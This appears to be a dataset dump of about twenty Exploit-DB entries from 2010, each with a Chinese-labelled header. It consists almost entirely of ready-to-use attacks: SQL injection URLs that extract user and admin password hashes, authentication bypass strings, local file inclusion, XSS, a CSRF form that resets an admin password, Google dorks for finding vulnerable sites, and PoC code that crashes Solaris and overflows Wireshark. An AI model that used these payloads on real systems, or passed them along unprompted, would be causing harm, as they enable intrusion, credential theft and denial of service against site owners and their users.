QLWD/code_shield huggingface dataset:
标题: eSmile Script - 'index.php' SQL Injection EDB-ID: 11382 CVE: 2010-0764 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-10 漏洞利用脚本: eSmile (index.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : eSmile
.:. Bug Type       : Sql Injection[Mysql]
.:. Dork           : "Powered by: eSmile"

####################################################################

===[ Exploit ]===

www.site.com/index.php?do=show&cid=null[Sql Injection]

www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- -

T0 Bypass Not Acceptable


www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- - URL: https://www.exploit-db.com/exploits/11382
标题: fipsForum 2.6 - Remote Database Disclosure EDB-ID: 11361 CVE: 2010-0765 类型: WEBAPPS 平台: ASP 发布日期: 2010-02-09 漏洞利用脚本: ==============================================================================
        [»] fipsForum v2.6 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ fipsForum ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ fipsForum is a simple and easy to use Forum System with a MS Access database. ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/_database/forumFips.mdb URL: https://www.exploit-db.com/exploits/11361
标题: JaxCMS 1.0 - Local File Inclusion EDB-ID: 11359 CVE: 2010-1043 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-08 漏洞利用脚本: /*

Name : JaxCMS (p) Local File Include
WebSite : http://www.pixiescripts.com/

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com<mailto:mizozx@gmail.com>

Greetz : Zuka !

*/

The vulnerability is in the get $_GET['p'] , the index.php include '/pages/'.$_GET['p'].'.php'

So we can read any file in the server .

EXPLOIT :

http://server/[JaxCMS PATH]/index.php?p=[LFI]%00 URL: https://www.exploit-db.com/exploits/11359
标题: Uiga Business Portal - SQL Injection / Cross-Site Scripting EDB-ID: 11357 CVE: 2010-1049 2010-1048 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-07 漏洞利用脚本: # Exploit Title: Uiga Business Portal SQL/ XSS Vulnerability
# Date: 8/2/2010
# Author: Sioma Labs
# Site : http://www.scriptdevelopers.net 
# Software Link: http://www.scriptdevelopers.net/download/uigapersonalportal.zip
# Version: N/A
# Tested on: 
 
 Linux 
 
 OS = Cent OS 5.4
 Server = Apache/2.2.3
 SQLDB = MYSQL v5.0.77 
 
 Windows
 
 OS = Windows XPsp2
 App = Wamp
  

# CVE : N/A
# Code : N/A


----------------------------------------------------
 __ _                           __       _         
/ _(_) ___  _ __ ___   __ _    / /  __ _| |__  ___ 
\ \| |/ _ \| '_ ` _ \ / _` |  / /  / _` | '_ \/ __|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
                                                   
----------------------------------------------------



SQL Injection Vulnerability

UserAge : [host]/blog/index.php?view=noentryid&noentryid=[SQLi]



- User SQLi ->
--------------

Ex : http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+Select+1,2,3,4,5,group_concat(user_id,0x3a,username,0x3a,password),7,8,9,10+from+tbl_user--


- Admin SQLi ->
---------------

Ex : http://server/ulgabusinessportak/index2.php?c=29&p=-45+Union+All+Select 1,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),3,4,5+from+admin--


- Or Choice By User ID ->
--------------------------

http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10+from+tbl_user+where+user_id=1--

*/ Change the last User ID 

#######################################################################################################



XSS Vulnerability
--------

- You can inject html with the comment box

Test Link
http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=20


Inject "<script>alert("XSS")</script>" into the portal using Comment Box



# Sioma Agent -154
# http://siomalabs.com URL: https://www.exploit-db.com/exploits/11357
标题: Baal Systems 3.8 - Authentication Bypass EDB-ID: 11346 CVE: 2010-0611 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-07 漏洞利用脚本: [+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>

[+] Vuln Code : 

[adminlogin.php]

<?php
include("common.php");
if (!empty($_POST['password'])) {
 $username = $_POST['username'];
    $password = $_POST['password'];

    $query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
    $result1 = db_query($query);
    $rows = db_num_rows($result1);
    $row = db_fetch_array($result1);
    if ($rows != 0) {
        if (session_is_registered("whossession")) {
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } else {
            session_register("whossession");
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } 
    } else {
        header("location:adminlogin.php?error=yes");
    } 
} else {

    ?>

[+] PoC : 

[BaalSystems_path]/adminlogin.php


username: ' or' 1=1
Password: ' or' 1=1 URL: https://www.exploit-db.com/exploits/11346
标题: Joomla! Component com_productbook - SQL Injection EDB-ID: 11352 CVE: 2010-1045 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-07 漏洞利用脚本: Joomla Component "com_productbook" SQL Injection Vulnerability
========================================================
 
####################################################################
.:. Author : Snakespc
.:. Home : sec-war.com/cc
.:. Script : Joomla
.:. Bug Type : SQL Injection 
.:. Dork : inurl:"com_productbook"
 
####################################################################
 
===[ Exploit ]===
 
http://server/index.php?option=com_productbook&Itemid=97&func=detail&id=-73+UNION all SELECT 1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+condev.jos_users--
 
#################################################################### URL: https://www.exploit-db.com/exploits/11352
标题: Zen Tracking 2.2 - Authentication Bypass EDB-ID: 11345 CVE: 2010-1053 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-07 漏洞利用脚本: [+] Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/calendars/zentimetracking/

[+] Vuln Code : 

[userlogin.php]

if (!empty($_POST['password']))
{
   $username =$_POST['username'];
   $password =$_POST['password'];
   dbConnect();
   $result1 = mysql_query("select * from ".$tbluser." where username='". $username ."' and password='". $password ."'".  mysql_error());

[+] PoC :

[ZenTracking_path]/userlogin.php

username: ' or' 1=1
Password: ' or' 1=1


[+] Vuln Code : 

[managerlogin.php]

if (!empty($_POST['password']))
{
   $username =$_POST['username'];
   $password =$_POST['password'];
   dbConnect();
   $result1 = mysql_query("select * from ".$tblmanager." where username='". $username ."' and password='". $password ."'".  mysql_error());

[+] PoC :

[ZenTracking_path]/managerlogin.php

username: ' or' 1=1
Password: ' or' 1=1 URL: https://www.exploit-db.com/exploits/11345
标题: Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service EDB-ID: 11351 CVE: 2010-0453 类型: DOS 平台: SOLARIS 发布日期: 2010-02-07 漏洞利用脚本: /*
 * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
 * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
 *
 * http://www.trapkit.de/advisories/TKADV2010-001.txt
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
 *
 * Greets to Tobias Klein for discovering the vulnerability and for his
 * detailed (as always) advisory.
 *
 * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE            64
#define UCODE_DEV           "/dev/ucode"

#define UCODE_IOC           (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION   (UCODE_IOC | 0)

typedef enum ucode_errno
{
    EM_OK,
    EM_FILESIZE,
    EM_OPENFILE,
    EM_FILEFORMAT,
    EM_HEADER,
    EM_CHECKSUM,
    EM_INVALIDARG,
    EM_NOMATCH,
    EM_HIGHERREV,
    EM_NOTSUP,
    EM_UPDATE,
    EM_SYS,
    EM_NOVENDOR,
    EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
    uint32_t *ugv_rev;
    int ugv_size;
    ucode_errno_t ugv_errno;
};

int
main()
{
    int fd, ret;
    uint32_t buf[BUF_SIZE];
    struct ucode_get_rev_struct in_h;

    memset(buf, 0x41, BUF_SIZE);

    in_h.ugv_rev = buf;
    in_h.ugv_size = 0;

    fd = open(UCODE_DEV, O_RDONLY);
    ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

    printf("[+] ret = %d\n", ret);
    printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

    close(fd);
    return ret;
}

/* EOF */ URL: https://www.exploit-db.com/exploits/11351
标题: Rostermain 1.1 - Authentication Bypass EDB-ID: 11356 CVE: 2010-1046 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-07 漏洞利用脚本: [+] Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/games-and-entertainment/rostermain/


[+] Vuln Code : 

[index.php]

if ($_POST['userid'] && $_POST['password'])
{
  // if the user has just tried to log in
  $logquery = "select * from users "
           ."where username='$userid' "
           ." and passwd='$password' ";

[+] PoC : 

username :  ' or' 1=1
password :  ' or' 1=1 URL: https://www.exploit-db.com/exploits/11356
标题: Audistats 1.3 - SQL Injection EDB-ID: 11334 CVE: 2010-1052 2010-1051 2010-1050 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-05 漏洞利用脚本: ###################################################################################
                                                                                  #
[~] Audistats SQL injection vulnerability - (mday)                                # 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)                                    #
[~] Homepage : http://www.indonesiancoder.com                                  #
[~] Date : January 29, 2010                                                #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://adubus.free.fr/audistat/
[+] Download : http://adubus.free.fr/audistat/
[+] version : 1.3 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : -            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/?year=kaMtiEz&month=tukulesto&mday=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+@@version,user()--

[ Example ]

http://[server]/stats/?year=kaMtiEz&month=tukulesto&mday=-15+union+all+select+@@version,user()--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13Z
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk,r3m1ck

[ NOTE ] 

[+] Belajar Belajar Dan Belajar !!
[+] Jack im commiinnggggggggggggggggggggggggggggggggg .. ^_^

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11334
标题: Joomla! Component com_photoblog - Blind SQL Injection EDB-ID: 11337 CVE: 2010-0610 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-06 漏洞利用脚本: Joomla (com_photoblog) Blind Sql Injection Vulnerability
========================================================

####################################################################
.:. Author : ALTBTA [L_9@HoTmIL.CoM]
.:. Home : v4-team.com/cc<http://v4-team.com/cc>
.:. Script : Joomla
.:. Download Script: http://webguerilla.net/downloads/3-components-for-joomla-1
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_photoblog"

####################################################################

===[ Exploit ]===

www.site.com/detail.php?id=[Blind<http://www.site.com/detail.php?id=[Blind> SQL INJECTION]


www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and<http://www.site.com/index.php?option=com_photoblog&view=images&category=1&celebs&blog=1+and> substring(@@version,1,1)=5

####################################################################

Greats T0: aB0-3tH4b T3rR0r & RxH URL: https://www.exploit-db.com/exploits/11337
标题: MASA2EL Music City 1.0 - SQL Injection EDB-ID: 11329 CVE: 2010-1047 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-04 漏洞利用脚本: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : MASA2EL Music City Remote Sql Injection Vulnerability
Author: alnjm33
Software Link: http://www.masa2el.com/index.php?go=dl&type=d&id=4
Tested on: Version 1.0
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                 (Powered By : MASA2EL Music City 1.0 )
================================Exploit=============================================
http://server/path/index.php?go=singer&id=-13/**/union/**/select/**/1,concat(UserName,0x3a,PasSword),3,4/**/from/**/masa2el_admin--

=======================================================================================
Greetz to : First to The Best Team In Africa( Egypt Football TEAM ) PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members URL: https://www.exploit-db.com/exploits/11329
标题: ManageEngine OpUtils 5 - 'Login.DO' SQL Injection EDB-ID: 11330 CVE: 2010-1044 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-02-04 漏洞利用脚本: ================================================================================

                      ManageEngine OpUtils 5 "Login.DO" SQL Injection Vulnerability
                     ================================================================================

#Date-3/2/10
# code by Asheesh kumar Mani Tripathi

#         AKS IT Services

# Credit by Asheesh Anaconda


#Download http://www.manageengine.com/products/oputils

#Vulnerbility 
ManageEngine OpUtils 5 is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database


========================================================================================================================

                                                           Request
========================================================================================================================

POST /Login.do HTTP/1.1
Host: localhost:7080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://localhost:7080/Login.do
Cookie: JSESSIONID=738A4E8130CBE2A0D5E857D9EBF9820E; 32=temp; 83=temp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

cookieexists=true&username=asheesh&password=asheesh&logonsubmit=+&log=WARNING&locationUrl=localhost&isHttpPort=false"+and+31337-31337="0



========================================================================================================================
                                                          Response
========================================================================================================================


HTTP/1.1 200 OK
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 03 Feb 2010 15:24:08 GMT
Server: Apache-Coyote/1.1
Content-Length: 20583 URL: https://www.exploit-db.com/exploits/11330
标题: PHP Car Rental-Script - Authentication Bypass EDB-ID: 11323 CVE: 2010-0631 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-03 漏洞利用脚本: /*

Name : PHP Car Rental-Script (Auth Bypass) SQL Injection
WebSite : http://www.carrentalphpscript.com/

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , Achille Dark3r , int_0x80 , geeksec.com<http://geeksec.com> ...

*/

- Log-On page :

http://server/[PATH]/index.php?plugin_id=4

username = ' or '1=1/*
password = ' or '1=1/* URL: https://www.exploit-db.com/exploits/11323
标题: Home Of AlegroCart 1.1 - Cross-Site Request Forgery (Change Administrator Password) EDB-ID: 11311 CVE: 2010-1611 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-01 漏洞利用脚本: [#]----------------------------------------------------------------[#]
#
# [+] Home Of AlegroCart v1.1 - [ Xsrf] Change Administrator Password
#
# // Author Info
# [x] Author: The.Morpheus
# [x] Contact: fats0L@windowslive.com<mailto:fats0L@windowslive.com>
# [x] Thanks: Türksec.&#304;nfo ~ Nd And Tg Tayfa :P
# [x] Date : 01.02.2010
#
[#]-------------------------------------------------------------------------------------------[#]

# Download : http://forum.alegrocart.com/viewtopic.php?f=8&t=4

# [x] Exploit :
#
# [ XSRF ]
#
# [ Login ]
# http://[server]/[path]/admin/
#
# // Start XSRF
|-------------------------------------------------------------------------------|

<form action="http://server/admin/?controller=user&user_id=1&action=update;action=update" method="post" enctype="multipart/form-data" id="form">
width="185"><span class="required">*</span> Username:</td>
<input type="text" name="username" value="admin">
<span class="required">*</span> First Name:</td>
<input type="text" name="firstname" value="admin">
<span class="required">*</span> Last Name:</td>
<input type="text" name="lastname" value="admin">
<td>E-Mail:</td>
<input type="text" name="email" value="admin"></td>
<td>User Group:</td>
<td><select name="user_group_id">
<option value="1" selected>Top Administrator</option>
</select></td>
<td>Password:</td>
<input type="password" name="password" value="" >
<td>Confirm:</td>
<input type="password" name="confirm" value="">
</form>


|-------------------------------------------------------------------------------|
# // End of attack ~
#
[#]------------------------------------------------------------------------------------------[#] URL: https://www.exploit-db.com/exploits/11311
标题: IPB (nv2) Awards < 1.1.0 - SQL Injection EDB-ID: 11297 CVE: 2010-0802 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-30 漏洞利用脚本: #################################################
+
+  Author:      fred777 - [fred777.de]
+  Link:          http://forums.invisionize.com/nv2-Awards-120-t137847.html
+  Vuln:         index.php?autocom=awards&do=view&id=1
+  Greetzz to: Back2hack.cc
+  Contact:    nebelfrost77@googlemail.com
+
#################################################

--[ Vuln Code ] --

$this->ipsclass->DB->build_query( array( 'select' => 'a.user_id',
                                             'from' => array( 'awarded' => 'a' ),
       'where' => 'a.award_id=' . $this->ipsclass->input['id'],
       'add_join' => array( 0 => array( 'select' => 'm.members_display_name',
       'from' => array( 'members' => 'm' ),
      'where' => 'm.id=a.user_id',
        'type' => 'left',
                     ) ),
       ) );

--------------------------------------------------------------------------------------

  'select' => '*',
  'from' => 'awards',
  'where' => 'id = "' . $_POST['award'] . '"',
  ) );

--------------------------------------------------------------------------------------

     $award_dat['user_id'] = $_GET['id'];
  $award_dat['award_id'] = $_POST['award'];

################################################

--[ Exploitable ]--

http://server/index.php?autocom=awards&do=view&id=1[SQL INJECTION]

http://server/index.php?autocom=awards&do=view&id=1+and+1=1 > true
http://server/index.php?autocom=awards&do=view&id=1+and+1=0 > false

http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5
http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4

################################################ URL: https://www.exploit-db.com/exploits/11297
标题: Evernew Free Joke Script - 'viewjokes.php' SQL Injection EDB-ID: 11306 CVE: 2010-0630 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-01 漏洞利用脚本: /*

Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , int_0x80 , geeksec.com ... a loot

*/

# VULN CODE ]--[ viewjokes.php :

$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];

stuffViewer($id, 'jokes');

$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);

# EXPLOIT :

http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1-- URL: https://www.exploit-db.com/exploits/11306
标题: Wireshark 1.2.5 - 'LWRES getaddrbyname' Stack Buffer Overflow (PoC) EDB-ID: 11288 CVE: 2010-0304 类型: DOS 平台: MULTIPLE 发布日期: 2010-01-29 漏洞利用脚本: #!/usr/bin/env python

# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC
# with control over EIP on Debian 5.0.3
# by babi <bbbbaaaabbbbiiii@operamail.com> on 29 Jan 2010
# get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  exit(2)

port = 921
addr = (host, port)

leng = 380
high = int(leng / 256)
low = leng & 255

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + ("B" * leng) + "\x00\x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  exit(1)

udps.close()
exit(0) URL: https://www.exploit-db.com/exploits/11288